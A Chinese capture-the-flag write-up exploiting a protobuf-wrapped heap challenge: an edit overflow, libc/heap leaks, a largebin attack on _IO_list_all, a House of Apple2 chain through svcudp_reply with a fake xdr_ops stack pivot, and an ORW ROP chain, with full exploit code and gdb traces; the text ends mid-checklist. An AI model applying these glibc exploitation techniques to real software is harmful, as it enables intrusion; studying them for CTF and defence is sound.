接上一篇protobuf分析的题目,我们进一步研究protobuf封装下复杂的堆布局应该怎么去进行实际的利用

https://xz.aliyun.com/news/91736

这个题目我们没有用给出的2.39libc,我们使用本地的2.35的libc做的

题目本身不花哨,核心其实只有一句话:

edit 可以把一个原本很小的 chunk,当成更大的 chunk 去写。

但真正把 flag 拿出来,难点不在“有没有溢出”,而在“怎么把这点有限的堆写原地榨干”。这题最后走的是:

edit 堆溢出
  -> 做重叠 / 泄露 libc
  -> 再泄露 heap
  -> largebin attack 把 _IO_list_all 挂到堆上
  -> House of Apple2 走到 _wide_vtable->__doallocate
  -> magic_gadget = svcudp_reply+26
  -> fake xdr_ops + leave; ret 栈迁移
  -> ORW 读 ./flag

这条链真正容易卡人的地方,不是“思路想不到”,而是每一层都差半个 qword。你如果只看最后的 exp,会觉得就是在堆上摆点结构;但真调起来,最费时间的恰恰是:

  • _IO_list_all 指到的是 chunk header,不是 FILE 正常起点
  • _wide_data 一开始会吃到 chunk header,字段整体串位
  • _wide_vtable 和 magic_gadget 的两个 qword 顺序不能反
  • _flags 如果残留了 0x800,路径会直接歪掉
  • magic_gadget 打到 svcudp_reply+26 以后,rbp 又来自 _IO_save_base
  • rbp 修好以后,svcudp_reply 还要继续把那片 ORW 数据当成 svcudp_data / XDR
  • 想先看全局,就看第三节到第八节,先把“这条链到底想干什么”装进脑子里
  • 想看最费时间的调试点,就直接看第十节和第十一节,那是整题最容易卡死的地方
  • 想直接抄核心利用骨架,就看第十六节
  • 想下次更快复现,就看最后新增的“调试顺序”“本地/远程差异”“复盘清单”

一、先把题目边界固定下来

题目限制很明确:

  • chunk 索引最多 15
  • 单次操作的大小最多 0x500

程序收包方式也不是裸菜单,而是:

  1. 先读 4 字节小端长度
  2. 再读 protobuf 正文
  3. 然后分发到对应 handler

恢复出来的协议是:

syntax = "proto3";

message HeapPayload {
   int32 option = 1;
   repeated int32 chunk_sizes = 2;
   repeated int32 heap_chunks_id = 3;
   bytes heap_content = 4;
}

菜单映射已经确认:

  • 1 = add
  • 2 = free
  • 3 = edit
  • 4 = show
  • 5 = exit

这一步一定要先固定。因为如果你还按老模板去猜什么 0 = add、8 字节长度头,后面所有堆风水都白做。

发包层的最小封装

当前样本最稳的写法就是:

from pwn import p32
from recovered_pb2 import HeapPayload


def pack_msg(option, ids=None, sizes=None, content=None):
    msg = HeapPayload()
    msg.option = option

    if ids is not None:
        if isinstance(ids, int):
            msg.heap_chunks_id.append(ids)
        else:
            msg.heap_chunks_id.extend(ids)

    if sizes is not None:
        if isinstance(sizes, int):
            msg.chunk_sizes.append(sizes)
        else:
            msg.chunk_sizes.extend(sizes)

    if content is not None:
        msg.heap_content = content

    return msg.SerializeToString()


def send_msg(io, pay):
    io.send(p32(len(pay)))
    io.send(pay)

这里看起来不起眼,但有两个很容易踩的点:

  • 长度头一定是 p32,不是 p64
  • heap_chunks_id 和 chunk_sizes 是 repeated,别直接拿标量去覆盖

这题前期如果交互不通,十有八九不是 house 走错了,而是包根本没发对。

二、漏洞本体其实不复杂:edit 是标准堆溢出

这题真正的洞,不在 add,而在 edit。

add 的逻辑比较正常:

size = user_size;
ptr = malloc(size);
memcpy(ptr, content, min(size, content_len));

edit 的问题在于,它会重新相信用户传进来的 size,但不会检查这个新 size 是否还小于“当初申请这块 chunk 的大小”。

把逻辑翻成伪代码,大概就是:

void edit(HeapPayload *msg) {
    int idx  = msg->heap_chunks_id[0];
    int size = msg->chunk_sizes[0];
    char *ptr = chunk_table[idx];

    if (idx < 0 || idx > 0xf) return;
    if (size < 0 || size > 0x500) return;

    if (msg->heap_content.len != 0) {
        memcpy(ptr, msg->heap_content.data, min(size, msg->heap_content.len));
    } else {
        memset(ptr, 0, size);
    }
}

问题就出在:

  • ptr 是旧 chunk 的指针
  • size 是你现在重新传进去的新值
  • 但是程序没有做 size <= old_chunk_size[idx]

所以你完全可以:

  1. 先申请一个小 chunk
  2. 再在 edit 里传一个更大的 size
  3. 直接把后面的 chunk header 和相邻数据一起抹过去

这就是为什么它是标准 heap overflow,没有什么“看上去像利用、实际上只是逻辑 bug”的歧义。

三、利用总路线先看一遍

如果只盯着最后的 IO 打法,很容易忘记前半截真正做了什么。

这题的完整路线可以先粗看成六段:

1. 用 edit 从 chunk2 溢出到 chunk3 / chunk4 的边界

目标不是一上来就改大块结构,而是先做 可控重叠,把 show 变成泄露工具。

2. 先泄露 libc

借已经 free 进 bin 的 chunk 残留指针,把 main_arena 附近地址读出来,拿到 libc 基址。

3. 再泄露 heap

利用第二次扩大后的观察窗口,把当前这片堆区域的真实基址算出来。

4. 做 largebin attack

把 _IO_list_all 改成指向堆上那块大 chunk 的 chunk header。

这句话非常关键。不是把 _IO_list_all 改到一个完完整整从 FILE + 0x0 开始的对象上,而是改到了堆块头。

5. 用 House of Apple2 走到 magic_gadget

也就是:

exit
  -> _IO_flush_all_lockp
  -> _IO_wfile_overflow
  -> _IO_wdoallocbuf
  -> _wide_vtable->__doallocate
  -> svcudp_reply+26

6. 让 svcudp_reply 不是真的去做 RPC,而是帮我们栈迁移

把堆上的 chunk0 布置成半个 svcudp_data、半个 XDR、半个 ROP 栈,让它最后跳进 ORW。

这一步就是整条链里最“阴”的地方,也是最后出 flag 的关键。

四、堆风水:为什么是这组 chunk

最终脚本里的开局是:

add(0x420, b'H')   # 0
add(0x420, b'H')   # 1
add(0x420, b'A')   # 2
add(0x420, b'B')   # 3
add(0x410, b'C')   # 4
add(0x410, b'D')   # 5
add(0x410, b'E')   # 6

这组尺寸不是随便拍脑袋出来的。

为什么前面放多块 0x420

因为后面需要让 free 出来的 chunk 进 unsorted / largebin,并且还要给 chunk2 留足够的“编辑视角”去碰下一块的 header。

你如果前面块太小,虽然也能溢出,但后面做 largebin attack 时可利用的空间会很别扭;你如果前面块太大,又会把 0x500 限制挤爆。

这里的 0x420 本质上是在给三件事留空间:

  • chunk2 有足够的用户区往后顶
  • chunk3 free 之后能留下合适的 bin 行为
  • 后面的大块 fake FILE 还能塞进去

为什么后面再跟三块 0x410

这是为了把后面的堆形状固定住,同时给 largebin 这段留一个更好操作的承接区。

原理说白了不复杂:你做堆题的时候,真正可怕的不是“利用失败”,而是“这一次失败和上一次失败完全不是一回事”。加这几块就是在给后面的块制造稳定邻接关系。

直观上可以这样理解

把这一段想象成一排挨着放的箱子:

  • 前面四个大箱子负责以后进 bin、留指针、做 largebin attack
  • 后面三个略小一点的箱子负责隔离和承接

这样你每次从 chunk2 往后写的时候,不会莫名其妙撞进一片完全不受控的地形。

五、第一步:先把 libc 漏出来

真正开始利用的第一下是:

free(3)
pd = b'a' * 0x420 + p64(0x430) + p64(0x421)
edit(2, len(pd), pd)

这一步的意思不是“我已经要直接改 _IO_list_all 了”,远远不是。

这里先做的是:

  • 把 chunk3 送去 free
  • 然后从 chunk2 越界,把后面 chunk 头调整成我们想看的样子

后面接着是:

pd = b'a' * 0x420 + b'@' * 0x10
edit(2, len(pd), pd)
show(2)
rt(b'@' * 0x10)
lib = ru(6) - 0x21b0d0

这里为什么能泄 libc

因为你让 show 打印 chunk2 的内容时,显示边界已经不是干净停在 chunk2 自己那里了,而是会把后面 free chunk 里残留的管理指针一并带出来。

unsorted bin 的 chunk 残留里最值钱的就是指向 main_arena 的指针。

所以这一段的本质是:

  1. 用 @ 当标记,先把自己写到一个好找的位置
  2. show(2) 后,先 recvuntil(b'@' * 0x10) 对齐到这个标记
  3. 再读后面那几个字节,就是 libc 里的地址

换算脚本里写成:

lib = leak - 0x21b0d0

这个偏移对应的是当前本地环境下用来还原 libc base 的基准点。

这一阶段最容易犯的错

很多人一看到“能 leak libc”就会立刻想往 _IO_list_all 上冲。

其实这题这里最该做的,是稳稳地把“怎么看、看到哪里、对齐标记是什么、下一次还能不能稳定复现”先做扎实。因为后面 heap leak 还是要复用同一种观察手法。

六、第二步:把 heap 基址也泄露出来

第一轮 libc leak 之后,脚本继续:

pd = b'a' * 0x430
pd += b'@' * 0x10
edit(2, len(pd), pd)
show(2)
rt(b'@' * 0x10)
heap = ru(6) - 0x21b0d0 - 0x2fd5850 + 0x31eb000 - 0x10

这段看上去最容易让人皱眉,因为公式很丑。

先说结论

这个公式不是“魔法数乱减”,它干的事情其实很朴素:

  • 你现在泄出来的不是 heap base 本身
  • 而是当前这套重叠布局里,一个“中间位置”的地址
  • 所以要把它一步步还原回真正的 heap 基址

这也是为什么这类题里,经常会出现“脚本里有一串看着很烦的修正项”。它们不是理论上非得这么写,而是你最后拿到的那个 leak,本来就不是最干净的起点。

这一步的实质

第一轮我们主要是把眼睛伸进了 libc 那头。

第二轮则是把观察窗口再往后推,让 show 带出更多当前堆区域里的信息,这样就能把 heap + 某个已知相对偏移 还原出来。

从利用角度看,只要最后能稳定得到:

  • libc base
  • heap base

后面 largebin 和 fake FILE 的地址就都能写死成公式。


七、真正的转折点:largebin attack 把 _IO_list_all 挂到堆上

有了双泄露以后,就可以开始做真正的控制流转换。

关键 payload 是这一段:

pd = (
    b'a' * 0x420
    + p64(0x430)
    + p64(0x431)
    + p64(lib + 0x21b0d0) * 2
    + p64(heap - 0x21b0d0 - 0x2fd5850 + 0x31eb000 - 0x10)
    + p64(lib + 0x21b680 - 0x20)
    + b'a' * 0x20
)
edit(2, len(pd), pd)

free(5)
add(0x4f0, b'F')

这段到底在干什么

一句话概括:

用 chunk2 的溢出,伪造 free chunk 在 largebin 链上的关键指针,然后通过一次新的申请触发 largebin 整理,让 glibc 帮我们把 _IO_list_all 改掉。

目标不是任意写,而是“按 glibc 自己的规则去写”

这类攻击的好处在于:

  • 你不需要直接拥有一个无限制任意写
  • 你只要把 largebin 相关的几个链接字段摆成 glibc 接受的样子
  • 在 bin 处理逻辑自己跑的时候,它会顺手替你把目标地址上的内容改掉

这题最终的目标就是:

_IO_list_all = file_addr

但这里的 file_addr 不是一个乖乖从 FILE + 0x0 开始的对象,而是:

file_addr = heap + 0x6180

它实际落在的是一块大 chunk 的 chunk header。

这一步特别重要的认知

后面几乎所有“为什么差了 0x8 / 0x10”的问题,根源都在这儿:

_IO_list_all 现在挂上的不是“正常 FILE 起点”,而是 chunk header 起点。

所以后面你在堆上写 fake FILE 的时候,实际上是在做一件非常别扭的事:

  • 解释器从 FILE + 0x0 开始看
  • 但你真正能方便覆盖的,是从 FILE + 0x10 开始那一片

这就是为什么这题最后不是“堆上放一个完整的 _IO_FILE_plus 就行”,而是一个“从 FILE + 0x10 开始的部分覆盖布局”。

八、为什么最后选 IO,而不是继续找栈泄露

做到这里,一般人会本能地去想:

  • 能不能继续泄栈
  • 能不能直接劫持返回地址
  • 能不能走别的 hook

这题最后没这么走,原因很现实:

  • 栈这边不是完全不能泄,但路径不顺
  • 现有的堆布局已经很适合打 IO
  • 而且我们已经有 libc 和 heap 了,House of Apple2 的条件基本都齐了

所以这里选 IO,不是因为“IO 高级”,而是因为它在这题里最顺手。

最终走的触发路径

quit_menu()
  -> exit
  -> _IO_flush_all_lockp
  -> _IO_wfile_overflow
  -> _IO_wdoallocbuf
  -> _wide_vtable->__doallocate
  -> magic_gadget

这里的 magic_gadget 选的是:

magic_gadget = lib + 0x16a0da

也就是 glibc 2.35 里的:

svcudp_reply+26

这不是因为 RPC 有多神奇,而是这段代码刚好能把我们堆上的数据解释成一种很适合做栈迁移的伪结构。

九、fake FILE 的真正难点:它不是从 0x0 开始写的

这一节是整题最该看懂的地方。

我们最后写到堆上的 fake FILE,不是一个常规教科书式的完整结构,而是一份 部分覆盖版:

fake_io = b""
fake_io += p64(0)  # _IO_read_end
fake_io += p64(0)  # _IO_read_base
fake_io += p64(0)  # _IO_write_base
fake_io += p64(1)  # _IO_write_ptr
...

你如果第一次看,会觉得奇怪:

为什么第一项不是 _flags?

因为 _flags 那一格在运行时已经被 chunk header 占掉了。

这里的真实内存关系

当前布局里:

  • _IO_list_all 指向 file_addr
  • file_addr 是 chunk header 起点
  • fake FILE 的主体是从 file_addr + 0x10 开始往后摆

所以它不是:

fake_io[0x00] -> _flags

而是:

fake_io[0x00] -> _IO_read_end
fake_io[0x08] -> _IO_read_base
fake_io[0x10] -> _IO_write_base
fake_io[0x18] -> _IO_write_ptr

这件事不搞清楚,后面所有“为什么结构明明像是对的,跑起来却不对”都会陷入死循环。

十、Apple2 这一段一共踩了五个坑

这一段值得单独写,因为它基本就是这题后半截的全部时间成本。

坑一:_wide_data 起点错了 0x8

最早的状态里,_wide_data 直接指回 file_addr,也就是 chunk header 起点。

你在 gdb 里会看到这种很别扭的东西:

p *(struct _IO_wide_data*)0x563e406dc180
$3 = {
  _IO_read_ptr = 0x4e69fb0,
  _IO_read_end = 0x421,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x1,
  ...
}

这里一眼就能看出来:

  • _IO_read_ptr 读到了 chunk header 那格脏数据
  • write_base / write_ptr / write_end 整体串位了

而我们原本真正想要的是:

_IO_write_base = 0
_IO_write_ptr  = 1
_IO_write_end  = 0

所以修正就是:

IO_wide_data_addr = file_addr + 0x8

这一步的逻辑不是“凭感觉调 0x8”,而是:

  • 现在的解释起点吃掉了 chunk header 的两个 qword
  • 所以把 _wide_data 后移一个 qword,刚好把写缓冲字段重新对齐回来

坑二:_wide_vtable 和 magic_gadget 的两个 qword 放反了

修完 _wide_data 后,又会看到另一个经典现象:

_wide_vtable = 0x7ffff7d6a0da <svcudp_reply+26>

这说明它不是没走到 gadget,而是 把 gadget 本身当成 _wide_vtable 指针 读了。

这时应该满足的关系其实是:

_wide_vtable = file_addr + 0x78
(_wide_vtable + 0x68) = file_addr + 0xe0 = magic_gadget

所以 tail 的顺序要是:

fake_io += p64(lib + libc.sym['_IO_wfile_jumps'])
fake_io += p64(magic_gadget)
fake_io += p64(wide_vtable_addr)

而不是把后两个 qword 反过来。

坑三:_flags 残留了 0x800

再往后,经常会打到 _IO_wfile_overflow 但就是不进 _IO_wdoallocbuf。

根因不是 gadget 不行,而是:

p/x ((struct _IO_FILE *)$rdi)->_flags
$1 = 0x4e69fb0

p/x (((struct _IO_FILE *)$rdi)->_flags & 0x800)
$2 = 0x800

也就是 _IO_CURRENTLY_PUTTING 这位脏了。

这样 _IO_wfile_overflow 一开始就会走偏。

所以最后要把 chunk header 那格清干净:

pd = b'a' * 0x410 + p64(0xfbad0000) + p64(0x421)

这组值的意义就是:

  • 保留正常 _IO_MAGIC
  • 清掉多余低位 flag
  • 特别是把 0x800 清掉

坑四:svcudp_reply+30 崩了,不是 msg 有问题,是 rbp 是空

当链终于走到 magic_gadget = svcudp_reply+26 以后,又会遇到一个很迷惑的崩点:

svcudp_reply (xprt=0x555555561180, msg=0xffffffff)
=> mov rax, qword ptr [rbp + 0x18]

乍看会觉得是 msg=0xffffffff 很危险,其实真正先炸掉的是前一条:

mov rbp, qword ptr [rdi + 0x48]

也就是说这里的 rbp 来自:

fp + 0x48

而在当前这份部分覆盖 FILE 里,fp + 0x48 正好就是 _IO_save_base。

如果你这里写的是 0,那 svcudp_reply+30 当然会在 mov rax, [rbp+0x18] 上直接死。

所以修正是:

fake_io += p64(chunk0)  # _IO_save_base

这一步修完后,rbp 就会变成我们自己的 chunk0,而不是空指针。

坑五:svcudp_reply+48 继续崩,因为 fake xdr_ops 根本没填

rbp 修好以后,下一次崩溃就会非常直白:

RBP  0x55555555d2f0 ◂— 0x67616c662f2e /* './flag' */
RAX  0x55555555d520 ◂— 0
RIP  0x7ffff7d6a0f0 (svcudp_reply+48) ◂— call qword ptr [rax + 0x28]

然后你再 tele rbp:

00:0000│ rbp     0x55555555d2f0 ◂— 0x67616c662f2e /* './flag' */
01:0008│+008     0x55555555d2f8 —▸ 0x7ffff7c3a889 (bindtextdomain+25) ◂— add rsp, 0x18
02:0010│         0x55555555d300 ◂— 0
03:0018│+018     0x55555555d308 —▸ 0x55555555d520 ◂— 0
04:0020│+020     0x55555555d310 —▸ 0x7ffff7c4da83 ◂— leave

这里其实已经把答案写脸上了:

  • rbp + 0x18 取到的是 0x55555555d520
  • svcudp_reply 接下来要 call [rax + 0x28]
  • 可是 0x55555555d520 那张表全是空

这就说明 chunk0 已经被当成了 svcudp_data
,其中的 su_xdrs.x_ops 被解释成了我们堆上的一张 xdr_ops 表。

所以最后一补就是:

def build_fake_xdr_ops(x_setpostn_target):
    ops = bytearray(0x48)
    ops[0x28:0x30] = p64(x_setpostn_target)
    return bytes(ops)

把这张表放到:

fake_xdr_ops_addr = chunk0 + 0x230

然后让:

x_setpostn = leave_ret

这样 svcudp_reply+48 的那次 call 就不再是空指针,而是直接给我们做栈迁移。

十一、为什么 svcudp_reply 反而成了最好用的 pivot

这一段如果只背结论,会很像玄学。其实把反汇编摊开看,逻辑非常清楚:

svcudp_reply+26: mov rbp, qword ptr [rdi + 0x48]
svcudp_reply+30: mov rax, qword ptr [rbp + 0x18]
svcudp_reply+34: lea r13, [rbp + 0x10]
svcudp_reply+38: mov dword ptr [rbp + 0x10], 0
svcudp_reply+45: mov rdi, r13
svcudp_reply+48: call qword ptr [rax + 0x28]

把它代进我们的布局里就是:

  • rdi 是 fake FILE
  • [rdi + 0x48] 是 _IO_save_base = chunk0
  • 所以 rbp = chunk0
  • [rbp + 0x18] = fake_xdr_ops_addr
  • [rax + 0x28] = fake_xdr_ops->x_setpostn = leave_ret

对于chunk0这的内存地址的内部布局

  chunk0 + 0x00  "./flag"
  chunk0 + 0x08  add_rsp18
  chunk0 + 0x10  会被 svcudp_reply 清零
  chunk0 + 0x18  fake_xdr_ops_addr
  chunk0 + 0x28  ORW ROP 开始
  chunk0 + 0x100 读 flag 的 buffer
  chunk0 + 0x230 fake xdr_ops

这就变成:

magic_gadget
  -> rbp = chunk0
  -> rax = fake_xdr_ops
  -> call x_setpostn
  -> leave; ret

这里为什么 ORW 开头长得这么怪

最终 ORW 栈开头是:

orw = b'./flag\x00\x00'
orw += p64(add_rsp18)
orw += p64(0)
orw += p64(fake_xdr_ops_addr)
orw += p64(leave_ret)
...

第一次看很多人会问:

为什么把 "./flag" 放在最前面?这不是会把 rbp 弄脏吗?

答案是:会,但没关系,而且是故意这么摆的。

因为 leave_ret 执行时会:

  1. rsp = rbp = chunk0
  2. pop rbp,于是新的 rbp = *(chunk0) = "./flag"
  3. ret,于是跳到 *(chunk0 + 0x8) = add_rsp18

而 add_rsp18 接着会:

  1. 把 rsp 从 chunk0 + 0x10 直接加到 chunk0 + 0x28
  2. 再 ret

这样一来,前面三格正好都被“消费”掉:

  • chunk0 + 0x00 放字符串 ./flag
  • chunk0 + 0x08 放 add_rsp18
  • chunk0 + 0x10 这一格会被 svcudp_reply 清成 0
  • chunk0 + 0x18 这一格要存 fake xdr_ops 指针
  • chunk0 + 0x20 这一格无所谓,反正会被 add rsp, 0x18 跨过去

真正的 ROP 从:

chunk0 + 0x28

才开始。

这也是为什么这条链看起来很别扭,但实际上咬合得非常紧。

十二、ORW 链为什么第一步先 close(0)

最终 ORW 是:

# close(0)
pop_rdi ; 0 ; close

# open("./flag", 0)
pop_rdi ; orw_addr
pop_rsi ; 0
pop_rax ; 2
syscall

# read(0, buf, 0x50)
pop_rdi ; 0
pop_rsi ; orw_addr + 0x100
pop_rdx12 ; 0x50 ; 0
read

# write(1, buf, 0x50)
pop_rdi ; 1
pop_rsi ; orw_addr + 0x100
pop_rdx12 ; 0x50 ; 0
write

这里的第一步 close(0) 很关键,不是装饰。

这么做的目的只有一个:

让后面的 open("./flag", O_RDONLY) 尽量把 fd 拿成 0

这样后面的 read(0, ...) 就不用再猜你打开文件后的返回值是多少,链子会稳定很多。

这个小细节挺像老题的味道:不追求“理论上最短”,追求“这次调好了,下次还是这样”。

十三、最终 working 版本里,fake xdr_ops 只填了一个槽位

这也是一个很容易被过度设计的地方。

很多人一看到 xdr_ops 会本能地想:

  • 要不要把整张表都伪造全
  • 要不要把 x_getlong、x_putlong、x_inline 全补上

其实这题最后根本没必要。

因为在我们实际命中的路径里,svcudp_reply 第一件事只会用到:

x_setpostn

它在 struct xdr_ops 里的偏移正好是:

+0x28

所以最小 fake 只要:

def build_fake_xdr_ops(x_setpostn_target):
    ops = bytearray(0x48)
    ops[0x28:0x30] = p64(x_setpostn_target)
    return bytes(ops)

其他槽位都可以先留 0。

这不是偷懒,而是减少无意义复杂度。当前路径只吃这一口,你就别给它塞一桌菜。

十四、关键结构最后是怎么摆的

把最终 working 版本收敛成一个平面图,大概是这样:

1. _IO_list_all 指向的那块堆

file_addr = heap + 0x6180

这里是 largebin 写进去的目标,也是 chunk header 起点。

2. chunk header 这两格

file_addr + 0x0  -> _flags    = 0xfbad0000
file_addr + 0x8  -> size      = 0x421

3. 从 file_addr + 0x10 开始的 partial fake FILE

核心字段是:

_IO_write_base = 0
_IO_write_ptr  = 1
_IO_write_end  = 0
_lock          = _IO_stdfile_2_lock
_offset        = -1
_wide_data     = file_addr + 0x8
_mode          = -1
vtable         = _IO_wfile_jumps
_IO_save_base  = chunk0

4. wide_data 和 wide_vtable

wide_data      = file_addr + 0x8
wide_vtable    = file_addr + 0x78
file_addr+0xe0 = magic_gadget
file_addr+0xe8 = wide_vtable

满足:

(_wide_vtable + 0x68) = magic_gadget

5. chunk0 这片控制区

chunk0 + 0x00  = "./flag\0\0"
chunk0 + 0x08  = add_rsp18
chunk0 + 0x10  = 被 svcudp_reply 清零
chunk0 + 0x18  = fake_xdr_ops_addr
chunk0 + 0x20  = 可被跳过
chunk0 + 0x28  = ORW 真正开始
chunk0 + 0x230 = fake_xdr_ops

这个布局的美感就在于:没有一格是白放的。哪怕是“被清零”那一格,也是提前故意留出来让它清。

十五、这题最值得记住的不是 House of Apple2,而是“错位”两个字

很多人做完这题,最后记住的是:

  • largebin attack
  • _IO_list_all
  • House of Apple2
  • svcudp_reply

这些当然都对,但我觉得这题最应该记住的,其实是:

一条利用链真正难的,经常不是有没有那个大思路,而是你有没有意识到“当前解释视角”和“你实际写入起点”不是一回事。

这题后半截所有折腾,本质上都在修错位:

  • _IO_list_all 挂到 chunk header,导致 fake FILE 起点错位
  • _wide_data 吃到 chunk header,导致写缓冲字段错位
  • wide_vtable / magic_gadget 两个 qword 放反,导致功能位错位
  • _flags 残留脏位,导致控制流分支错位
  • _IO_save_base 写成 0,导致 svcudp_reply frame 指针错位
  • fake xdr_ops 没写,导致 call [rax+0x28] 目标错位

所以这题不是一个“靠背模板就能秒”的 IO 题,它更像是一道很典型的调试题:

  • 思路先有
  • 结构慢慢对
  • 每次都只修一层
  • 最后把整条链收紧

这种题调顺了以后,再回头看最终 exp,会觉得代码并不长;但如果中间任何一个 0x8 没看明白,两个晚上都能卡在同一行。

十六、关键代码片段

这里不再把整份脚本原样塞进来,而是把最关键的几段单独摘出来,方便以后复盘。

1. 协议封装

def pack_msg(option, ids=None, sizes=None, content=None):
    msg = HeapPayload()
    msg.option = option

    if ids is not None:
        if isinstance(ids, int):
            msg.heap_chunks_id.append(ids)
        else:
            msg.heap_chunks_id.extend(ids)

    if sizes is not None:
        if isinstance(sizes, int):
            msg.chunk_sizes.append(sizes)
        else:
            msg.chunk_sizes.extend(sizes)

    if content is not None:
        msg.heap_content = content

    return msg.SerializeToString()


def send_msg(pay):
    s(p32(len(pay)))
    s(pay)

2. 双泄露

free(3)
pd = b'a' * 0x420 + p64(0x430) + p64(0x421)
edit(2, len(pd), pd)

pd = b'a' * 0x420 + b'@' * 0x10
edit(2, len(pd), pd)
show(2)
rt(b'@' * 0x10)
lib = ru(6) - 0x21b0d0

pd = b'a' * 0x430 + b'@' * 0x10
edit(2, len(pd), pd)
show(2)
rt(b'@' * 0x10)
heap = ru(6) - 0x21b0d0 - 0x2fd5850 + 0x31eb000 - 0x10

3. largebin attack

pd = (
    b'a' * 0x420
    + p64(0x430)
    + p64(0x431)
    + p64(lib + 0x21b0d0) * 2
    + p64(heap - 0x21b0d0 - 0x2fd5850 + 0x31eb000 - 0x10)
    + p64(lib + 0x21b680 - 0x20)
    + b'a' * 0x20
)
edit(2, len(pd), pd)

free(5)
add(0x4f0, b'F')

4. fake xdr_ops 和 ORW 控制区

def build_fake_xdr_ops(x_setpostn_target):
    ops = bytearray(0x48)
    ops[0x28:0x30] = p64(x_setpostn_target)
    return bytes(ops)


orw_addr = heap + 0x22f0
chunk0 = heap + 0x22f0
fake_xdr_ops_addr = chunk0 + 0x230

orw = b'./flag\x00\x00' + p64(add_rsp18) + p64(0) + p64(fake_xdr_ops_addr)
orw += p64(leave_ret)
orw += p64(pop_rdi) + p64(0) + p64(close_addr)
orw += p64(pop_rdi) + p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi) + p64(0)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(read_addr)
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx12) + p64(0x50) + p64(0)
orw += p64(write_addr)

support = bytearray(orw)
support = support.ljust(fake_xdr_ops_addr - chunk0, b"\x00")
support += build_fake_xdr_ops(leave_ret)
edit(0, len(support), bytes(support))

5. partial fake FILE

file_addr = heap + 0x6180
IO_wide_data_addr = file_addr + 0x8
wide_vtable_addr = file_addr + 0x78
_IO_stdfile_2_lock = lib + 0x21ca60
magic_gadget = lib + 0x16a0da

fake_io = b""
fake_io += p64(0)  # _IO_read_end
fake_io += p64(0)  # _IO_read_base
fake_io += p64(0)  # _IO_write_base
fake_io += p64(1)  # _IO_write_ptr
fake_io += p64(0)  # _IO_write_end
fake_io += p64(0)  # _IO_buf_base
fake_io += p64(0)  # _IO_buf_end
fake_io += p64(chunk0)  # _IO_save_base
fake_io += p64(0) * 3
fake_io += p64(0)  # _chain
fake_io += p32(2)
fake_io += p32(0)
fake_io += p64(0xffffffffffffffff)
fake_io += p16(0) + b"\x00" + b"\n" + p32(0)
fake_io += p64(_IO_stdfile_2_lock)
fake_io += p64(0xffffffffffffffff)
fake_io += p64(0)
fake_io += p64(IO_wide_data_addr)
fake_io += p64(0) * 3
fake_io += p32(0xffffffff)
fake_io += b"\x00" * 19
fake_io = fake_io.ljust(0xc8, b"\x00")
fake_io += p64(lib + libc.sym['_IO_wfile_jumps'])
fake_io += p64(magic_gadget)
fake_io += p64(wide_vtable_addr)

pd = b'a' * 0x410 + p64(0xfbad0000) + p64(0x421)
edit(4, len(pd + fake_io), pd + fake_io)

6. 触发

quit_menu()
io.interactive()

这个 quit_menu() 看起来再普通不过,但它就是整条 IO 链的扳机。没有它,前面堆上摆得再漂亮,也只是静态艺术品。

十七、最后收个尾

这题最后能出 flag,靠的不是某一个神奇 gadget,而是三件事同时成立:

  1. 前半段堆风水足够稳,能稳定拿到 libc / heap 双泄露
  2. _IO_list_all 被 largebin attack 正确挂到了堆上
  3. 后半段 Apple2 的每一个偏移都被一点点修正到了正确位置

如果一定要把整题压成一句话,我会这么说:

这题是拿一个普通的 edit 堆溢出,当起点去做一条非常讲究“字段对齐感”的 IO 利用链。

前半段拼的是地形,后半段拼的是耐心。

能把这题调通,说明你已经不是“会背 House of Apple2”,而是真正能把一条现成思路一点点落到当前样本上。

十八、这题最省时间的调试顺序

很多时候不是不会,而是断点下得太散。如果一会儿看 edit,一会儿看 malloc,一会儿又跳去盯 syscall,很容易把自己绕晕。对这题来说,最省时间的方式不是“多断”,而是“分阶段断”。

第一阶段:只验证协议和交互

目标只有一个:

证明程序确实在按你发的 protobuf 包工作。

这个阶段别急着打 house,也别急着去看 _IO_list_all。

你只要确认:

  • add / free / edit / show / exit 菜单编号没写错
  • 长度头用的是 p32
  • 本地 process() 没有因为 PTY / gdb.attach() 影响交互

这一阶段如果有问题,后面全是幻觉。

第二阶段:只验证双泄露

这一阶段最值得盯的不是所有堆块,而是 chunk2 的“显示边界”到底推进到哪里了。

建议只看两件事:

x/40gx <chunk2 user area>
x/20gx <chunk3 chunk header and fd/bk>

然后脚本里配合:

rt(b'@' * 0x10)
ru(6)

一旦你发现:

  • 每次都能稳定对齐到 @ * 0x10
  • 读出来的地址每次都在同一类区域里

那就够了,别在这个阶段就开始改 IO 字段。

第三阶段:专门验证 largebin attack 是否真的改到 _IO_list_all

这一阶段最值得下的不是一堆 malloc 断点,而是看结果:

p _IO_list_all
tele _IO_list_all

你要确认的是:

  • _IO_list_all 真的已经不再指向原始 _IO_2_1_stderr_
  • 它已经挂到了 heap + 0x6180 那片 chunk header

这一步如果没成,后面 fake FILE 再漂亮也白搭。

第四阶段:只盯 _IO_flush_all_lockp 这条链

从这一步开始,别乱断到别的地方,按触发路径追就行:

b exit
b _IO_flush_all_lockp
b _IO_wfile_overflow
b _IO_wfile_sync
b _IO_wdoallocbuf

如果你怀疑 _flags 影响分支,再补:

b *(_IO_wfile_overflow+156)
b *(_IO_wfile_overflow+608)
b *(_IO_wfile_overflow+688)

这时你真正要看的只有三类信息:

  • 当前命中的是 overflow 还是 sync
  • _flags & 0x800 还在不在
  • _wide_data 有没有按你想的方式被解释

第五阶段:只验证 Apple2 的四个关键字段

走到 fake FILE 以后,先别急着看 ORW。

先看:

p *(struct _IO_FILE_plus *)_IO_list_all
p *(struct _IO_wide_data*)((struct _IO_FILE_plus *)_IO_list_all)->file._wide_data
p *(const struct _IO_jump_t *)(file_addr + 0x78)

你只需要先确认四件事:

  • _wide_data == file_addr + 0x8
  • _IO_write_base == 0
  • _IO_write_ptr == 1
  • _wide_vtable + 0x68 == magic_gadget

如果这四件事不对,先别往 svcudp_reply 走,继续修偏移。

第六阶段:只盯 svcudp_reply

这时断点就很简单了:

b *svcudp_reply+26
b *svcudp_reply+30
b *svcudp_reply+48

然后按顺序看:

tele $rdi
tele $rbp
